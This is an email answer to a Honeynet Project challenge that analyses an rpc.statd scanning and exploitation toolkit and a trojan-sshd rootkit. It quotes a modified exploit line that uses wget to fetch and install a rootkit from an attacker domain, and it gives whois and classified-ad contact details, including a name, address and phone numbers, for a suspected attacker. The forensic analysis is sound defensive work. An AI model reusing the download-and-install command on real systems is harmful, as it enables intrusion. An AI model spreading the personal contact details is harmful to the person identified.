From goober@ksp.sk Sat Mar 17 20:02:01 2001 Date: Wed, 7 Mar 2001 14:25:57 +0100 (CET) From: Peter Kosinar To: project@honeynet.org Subject: Scanofthemonth Let's have a look at it... Q1: What is the blackhat attempting to do with his command line syntax? A1: First, the attacker downloaded a package (LUCKROOT.TAR) into a directory /usr/sbin/.mail The contents of this package are analysed in [Q2,3,5], for this question we only need to know that the utility 'luckgo' starts scanning the specified class A (or B or C) network for vulnerable rpc.statd hosts (and exploiting them afterwards). Thus the attacker's intention (nothing more than an intention, as we'll see from the analysis) was to scan and exploit 13 classB addresses 216.{210,200,10,1}/16 200.120/16 64.{120,1}/16 63.1/16 194.1/16 (this block looks strangely familiar, isn't it Slovakia ? :-)) 12.20/16 210.{120,128}/16 24.1/16 Q2+3=5: What does the tool accomplish? How does the tool work? Is this tool original, or is it simply based on previous tools? If based on previous tools, which ones and what is modified? A2+3=5: The tool consists of three parts - luckscan-a, luckstatdx and luckgo. The latter is a shell script which does a lot of useless stuff, like changing colours very often, removing scan.log, which is never created, etc.). Besides that, the code does two important things: 1) It compiles luckscan-a.c and luckstatdx.c into the corresponding binaries if necessary (there is even a bug in the script, because it checks for presence of luckscan and not luckscan-a when it is going to compile the sources) 2) It runs luckscan-a, in order to scan $1.$2.$3 address space for port 111 (sunrpc). luckscan-a: Originally, it was a standard one-port scanner (for example, it was similar ), which went through class B address space, scanning for one specific port and executing specified command for every host found during the scan. This version is almost infunctional^H^H^H^H^H^H^H^H^H^H^H^H^H^H^H^H^H^H^Hslightly modified for the purpose known only to the attacker. The changes include: 1) neverending scanning - the program scans (moving up on IP at time) forever, because the condition [while (!done)] never becomes false. Well, it'll end when it reaches 255.255.255.255, but that is pretty long way to go. 2) MAX_SOCKETS is set to 1000 (quite a big number, isn't it ?) 3) Instead of simply reporting the found addresses, the scanner executes './luckstatdx -d 0 THEADDRESS', where THEADDRESS is replaced by the address found. The reason for doing the change in the manner it is done (have a look at the following piece of code and tell me why do both printf-s take three arguments) is unclear to me, although I admit it could be a hyper-elite method which is beyond my comprehension (*grin*). sprintf(luck,"./luckstatdx -d 0 %s",(char *)inet_ntoa( connlist[i].addr.sin_addr),(time(0)-connlist[i].a)); printf("Lets try to root the %s\n", (char *)inet_ntoa(connlist[i].addr.sin_addr), (time(0)-connlist[i].a)); So, the luckscan-a scans the whole IPv4 range starting at the specified (classC) address, ending at 255.255.255.255, for specified port, executing './luckstatdx -d 0' for every address. In this particular environment, it scans for sunrpc service and assumes that the attacked machine is Redhat 6.2 (-d 0). luckstatdx: Clearly, this utility is based on rpc.statd exploit written by ron1n. A quick diff shows the differences: < fprintf(stderr, "statdx modify by becys \n"); > fprintf(stderr, "statdx by ron1n \n"); < printf("You now have a new server rooted with rpc.statd technique and becys|ReSpEkT scan-h4x0r !\n"); > printf("OMG! You now have rpc.statd technique!@#$!\n"); < printf("Hmm,maibe i can root it. Attempting connection to shell..\n"); > printf("A timeout was expected. Attempting connection to shell.."); < printf("Fucking shit,i cant,sorry.\n"); > printf("Failed\n"); These are very important changes, aren't they? :-) < // Becys was modify herre some cmd. < send(sockd, "cd /; uname -a; id; wget -nd http://www.becys.org/xzibit.tar.gz; tar -zxvf xzibit.tar.gz; cd lamerk; ./install; cd /; rm -rf lamerk xzibit.tar.gz\n", 19, 0); < // Aici cred ca trebuie un exit. > send(sockd, "cd /; ls -alF; id;\n", 19, 0); Finally something really important. The attacker's original intention was to download a rootkit and install it. However, this intention was not coded properly, because the attacker had not changed 19 into the real length of the command (I'd guess that he didn't know the purpose of this number). So, although this program is able to exploit the vulnerability, it does nothing `useful', because only "cd /; uname -a; id;" makes its way to the other side (and without \n it is pretty useless). So, the simple answer to question 2 is: "The tool causes a lot of TCP traffic destinated to port 111 and possibly to rpc.statd port.". and to question 3: "The tool does not work.". Just for being curious, I downloaded the xzibit.tar.gz package and had a short look at it. In a few words, it can be described as a simple rootkit, which does not cover its tracks (modified timestamps, etc.) The installation script replaces ifconfig, netstat, ps and top with their trojaned versions. Afterwards, it creates configuration files for ps/top and netstat trojans (/dev/dsx, /dev/caca) with a few names and addresses. According to the names (bnc, psybnc) I'd guess that the attacker planned to use the compromised host for IRC bots. The addresses include classC addresses 193.231.139, 213.154.137, 193.254.34 (these addresses will be mentioned later) All the other files (mentioned later) are then moved into /dev/ida/.inet. A script for running linsniffer and trojaned sshd binary is then copied into /usr/bin/hdparm and appended to /etc/rc.d/rc.sysinit. Following this, a CGI script (becys.cgi) is copied to a suitable location (web-server rootdir). Finally a mail is sent to 'becys@becys.org', containing the hostname, IP address and OS name. The package also contains a DoS tool (sl2, better known as slice). Trojaned version of sshd is standard ssh 1.2.27, with a `global password' feature. The MD5 hash of global password is: f35ccf7b5f691399495d84eadd656df7 This sshd listens (according to its configuration file) on port 6969. Q4: Is this tool a worm, or would you classify it as something else? A4: According to the definition of worm I know, it is definitely not a worm. A worm would have to replicate itself WITHOUT user's intervention. In my humble opinion, this tool would be just an automated tool for rpc.statd vulnerability abusion, if it was written properly. However, if we consider its functionality, it is nothing more than DoS tool (which attacks the source, not the destination :-) ). QB: What information can you obtain about who is using or created the tool? AB: If we agree that it was the attacker who modified the sources and that the address (becys@becys.org) belongs to him, we can get following information concerning the domain becys.org: ] Domain Name: BECYS.ORG ] Registrar: BULKREGISTER.COM, INC. ] Whois Server: whois.bulkregister.com ] Referral URL: www.bulkregister.com ] Name Server: NS.WEBSITESOURCE.COM ] Name Server: NS2.WEBSITESOURCE.COM ] Updated Date: 11-sep-2000 ] ] Domain Name: BECYS.ORG ] ] Administrative Contact: ] Qian Wang becys@yahoo.com ] bSoft ] 1 Hensel Dr. Apt.#Z1F ] College Station, Texas 77840 ] US ] Phone- (979)862-9233 ] Fax- ] Technical Contact: ] Web Site Source, In info@websitesource.com ] Web Site Source, Inc. ] 2476 Bolsover, Suite 484 ] Houston, TX 77005-2518 ] US ] Phone- 713-667-2520 ] Fax- 800-863-6499 ] ] Record created on 2000-09-11. We can assume that the address becys@yahoo.com also belongs to the same person as the address becys@becys.org. A simple search at Google shows one match (I'll quote only the important part) [www.rdsnet.ro/publicitate_detaliu?anunttype_id=1] ] 19-Oct-2000 Vand chip tunning-uri originale din Germania/Austria ] pentru motoare Diesel. O crestere performanta a c.p. ai motorului. ] Pentru mai multe informatii nu ezita sa ma contactezi . PRETURI LA ] SFERTUL PIETEI . becys@yahoo.com 093837243 Due to my knowledge of Romanian (my current state of knowledge is somewhere around nothing or less-than-nothing), I was not able to translate this, but I'd guess that it deals with Diesel motors. The last number seems to be a telephone number, doesn't it ? The three addresses (we don't know exact addresses, only classC blocks) used in the rootkit installer correspond to Romanian netblocks: ] inetnum: 193.231.139.0 - 193.231.139.255 ] netname: ROEDUNET-LICEE1 ] descr: Allocated to ROEDUNET connected highschools ] country: RO ] route: 193.231.128.0/19 ] descr: Romanian Education Network ] inetnum: 213.154.135.0 - 213.154.140.255 ] netname: PCNET ] descr: PCNET - ATM-ADSL Network ] country: RO ] inetnum: 193.254.34.0 - 193.254.34.15 ] netname: FININVNET ] descr: FININVEST ] country: RO ] inetnum: 193.254.34.16 - 193.254.34.31 ] netname: LOGICNET ] descr: LOGIC NET ] descr: GALATI - 1st Modem Pool ] country: RO ] inetnum: 193.254.32.0 - 193.254.63.255 ] netname: RO-LOGIC-960624 ] descr: PROVIDER ] country: RO ] route: 193.254.32.0/19 ] descr: LOGIC TELECOM SA This clearly suggests that the attacker was from Romania (as have already been mentioned). Also the comment in luckscan-a.c seems to be written in Romanian. I'll leave it as an exercise for the reader to find more about the attacker :-) Finally, I'd like to apologise for my bad English. Peter PS. If you find yourself offended by any of my words, ... be sure it was intentional :-)